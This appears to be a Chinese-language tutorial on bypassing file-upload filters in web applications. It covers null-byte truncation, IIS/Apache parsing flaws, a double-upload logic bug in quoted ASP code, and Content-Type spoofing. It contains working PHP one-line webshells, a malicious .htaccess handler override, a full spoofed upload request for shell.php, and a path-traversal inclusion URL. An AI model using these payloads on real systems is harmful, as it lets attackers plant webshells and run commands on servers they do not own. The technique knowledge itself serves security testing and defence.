0x01 上传检测

    1.javascirpt的检测
    2.MIME类型的检测
    3.目录路径的检测
    4.文件扩展名的检测(黑名单,白名单)
    5.文件内容的检测

0x02 截断上传

有一些网站写的上传规则是:

    1.获取文件存放位置
    2.获取文件
    3.获取文件后四位,匹配白名单
    4.重命名
    5.保存

这个时候我们就可以在路径上做些文章了

假设让你传递文件存放位置的变量为filepath,存放文件名的变量为filename。根据上面写的规则就是你输入的文件位置加上你的文件名进行保存,即:filepath+filename。那么我们就可以进行截断。

    filepath = File/test.asp(urldecode(%00))
    filename = cc.jpg

上传一张写有一句话的jpg文件,最后保存为:

    File/test.asp(urldecode(%00))cc.jpg
    OR
    File/test.asp(urldecode(%00))/cc.jpg

服务器读取时认为到%00已经结束,实际保存为:

File/test.asp

成功突破上传

假如在目录后面不加"/"的话,还可以利用iis解析漏洞进行上传

    filepath = File/test.asp;
    filename = cc.jpg

最后保存为

File/test.asp;cc.jpg

成功拿到shell

附一段很老的代码,偷偷从一本书上抄下来的,2333333333

<% 

dim upload,file,formName,formPath,iCount,filename,fileExt '//定义上传变量 

set upload=new upload_5xSoft '//建立上传对象 JM 的测试代码 

formPath=upload.form("filepath") '//第一步、获取文件路径,此处是关键。 

if right(formPath,1)<>"/" then formPath=formPath&"/"'为变量 formPath 加上”/” 

for each formName in upload.file '//用 For 读取上传文件 

set file=upload.file(formName) '//生成一个文件对象

........................  '//省略部分代码

fileExt=lcase(right(file.filename,4)) '//从文件名中截取后 4 位,并转换为小写字符。

if fileEXT<>".gif" and fileEXT<>".jpg" and fileEXT<>".zip" and fileEXT<>".rar" and fileEXT<>".swf"then '//文件扩展名判断 

response.write  "<font  size=2> 文 件 格 式 不 正 确   [  <a  href=# 

onclick=history.go(‐1)>重新上传</a> ]</font>" 

response.end

end if 

randomize 

ranNum=int(90000*rnd)+10000 

filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&fileExt '//第二步、filename 由提交的文件路径+年月日的随机文件名+转换后的扩展名组成

if file.FileSize>0 then 

file.SaveAs Server.mappath(FileName) '//保存文件

end if 

set file=nothing 

next 

%> 

0x03 双文件上传
仍然是一段抄袭的代码,233333333333333333333333

<% 

Const UpFileType="rar|gif|jpg|bmp|swf|mid|mp3" '//允许的上传文件类型 

Const SaveUpFilesPath="../../UploadFiles" '//存放上传文件的目录,注:以上两个常量均在 config.asp 文件内定义

dim upload,oFile,formName,SavePath,filename,fileExt' //变量定义 

........................  '//此处省略部分代码,后面同样如此。 

FoundErr=false '//此为是否允许上传的变量,初始化为假,表示可以上传。 

EnableUpload=false '//此为上传文件扩展名是否合法的变量,初始化为假,表示的是不合法。

SavePath = SaveUpFilesPath '//存放上传文件的目录 

........................ 

sub upload_0() '//使用化境无组件上传

set upload=new upfile_class '//建立上传对象 

........................ 

for each formName in upload.file '//用 For 循环读取上传的文件。

set ofile=upload.file(formName) '//生成一个文件对象

........................ 

fileExt=lcase(ofile.FileExt) '//将扩展名转换为小写字符

arrUpFileType=split(UpFileType,"|") '//读取后台定义的允许的上传扩展名 

for i=0 to ubound(arrUpFileType) '//第一关,用 FOR 循环读取 arrUpFileType 数组。

if fileEXT=trim(arrUpFileType(i)) then '//如果 fileEXT 是允许上传的扩展名

EnableUpload=true '//EnableUpload 为真,表示该文件合法。 

........................ 

if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then '// 第二关,验证 fileEXT是否为 asp、asa、aspx 扩展名。

EnableUpload=false '//如果属于这三项之一,那么 EnableUpload 就定义为假,上传文件扩展名不合法。 

end if 

if EnableUpload=false then '// 第三关,验证关。如果传递到此的 EnableUpload变量为假,则说明上传文件扩展名不合法。 

msg="这种文件类型不允许上传!\n\n 只允许上传这几种文件类型:"  & UpFileType 

FoundErr=true '//注意:因为文件名不合法,就更改了 FoundErr 值,由初始的false 改为 true。

end if 

strJS="<SCRIPT language=javascript>" & vbcrlf 

if FoundErr<>true then '//第四关,上传关。如果 FoundErr 不等于 true 才可以上传。

randomize 

ranNum=int(900*rnd)+100 

filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt '//定义 filename,其值为固定的路径名+年月日及随机值生成的名称+传递过来的 fileExt 扩展名。 

ofile.SaveToFile Server.mappath(FileName) '//保存文件  

msg="上传文件成功!" 

........................

edn sub

%>

这段源码可以看出来,上传目录已经被写死,只能传到指定的文件夹内。

但是这段源码可以看出,是用for循环读取上传文件,所以可以同时传递多个文件。那么我们先传一个正常的文件。通过第一关,ENableUpload变量值变为TRUE。通过第二关验证,不属于If中的条件,直接跳过判断,ENableUpload变量的值仍然为TRUE。第三关验证ENableUpload是TRUE直接跳过。FoundErr仍然为False。
FoundErr为Flase通过。

再同时上传一个一句话或者小马的.cer文件。第一关,文件名不合法,不给ENableUpload赋值TRUE,但是我们由于上传过第一个文件,ENableUpload已经是TRUE了。进入第二关,不属于If中的任意一个类型,跳过判断,进入第三关。第三管判断ENableUpload的值。由于ENableUpload开始就是TRUE,跳过剩下两关直接上传成功。

成功上传 :)

修复方法的话,看懂的人应该就知道问题在那里了。

0x04 前端检测绕过

有很多上传会在前端进行检测文件名是否合法之类的,这个绕过的姿势很多。

1.firebug直接修改。
2.burpsuit抓包,进行修改。

0x05 %00另类姿势截断
有一种截断的方式是修改文件名为test.asp(urldecode(%00)).jpg。

这种方式需要的条件是:在检测文件类型时,从后往前检测。读取文件名时,从前往后。

0x06 htaccess 文件解析攻击
建一个.htaccess 文件,里面的内容如下

<FilesMatch "haha">
SetHandler application/x-httpd-php
</FilesMatch>

同目录有个我们上传一个只有文件名并包含字符串"haha",但是却无任何扩展名的文件。里面的内容是 php 一句话木马

"haha"
<?php @eval($_POST['yueyan']);?>

Php 一句话木马可以是任何后缀或者无后缀。上传至同一目录下。

此代码攻击曾经在fck 编辑器上有过利用,不过此攻击上传方式是在未过滤htaccess 上传的情况下攻击.

0x07 服务器端验证绕过 Content-type (Mime-type) 检测
代码如下:

<?php
if($_FILES['userfile']['type'] != "image/gif") 
{ //检测Content-type
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/'; 
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} 
else {
echo "File uploading failed.\n";
}
?>

可以看出代码检测文件类型,那么我们可以抓到request包修改Content-Type

POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif   (原为 Content-Type: text/plain)
<?php system($_GET['command']);?>
--xYzZY--

0x08一些特殊的姿势绕过

1.有些采用黑名单的方式过滤扩展名,那么比如aca,cer之类的或许会被忽略。

2.有些会忽略大小写,可以将扩展名改为aSp,PHp之类的进行绕过。

3.windows系统中有些命名不被允许,比如.asp_或者.asp.之类,上传后会自动改为.asp

4.利用服务器解析漏洞

如iis解析漏洞:会将.asp;.jpg或者文件夹名中有.asp会将文件夹中文件按照asp来解析

或者利用双扩展名如tset.php.123如果扩展名.123 apache不能解析会向前搜索下一个可用的解析扩展名。

假如apache配置文件中有

AddHandler php5-script .php

那么只要文件名中有.php即使文件名是test.php.jpg也会按照.php执行

0x09文件包含配合上传文件绕过

首先上传一张有木马的图片,上传成功后利用文件包含解析图片中的代码。

如上传一个文件名为test.png

存在包含的url:
www.website.com/view.php?page=contact.php
修改后的url:
www.website.com/view.php?page=../upload/test.png

这样图片中的代码便可以被解析执行。

并不只有包含,比如nginx(php-fpm)解析漏洞,也可以直接解析图片里的代码。

做个小总结,东西有点老,但是实用性还是可以的,有不足之处希望指出 :)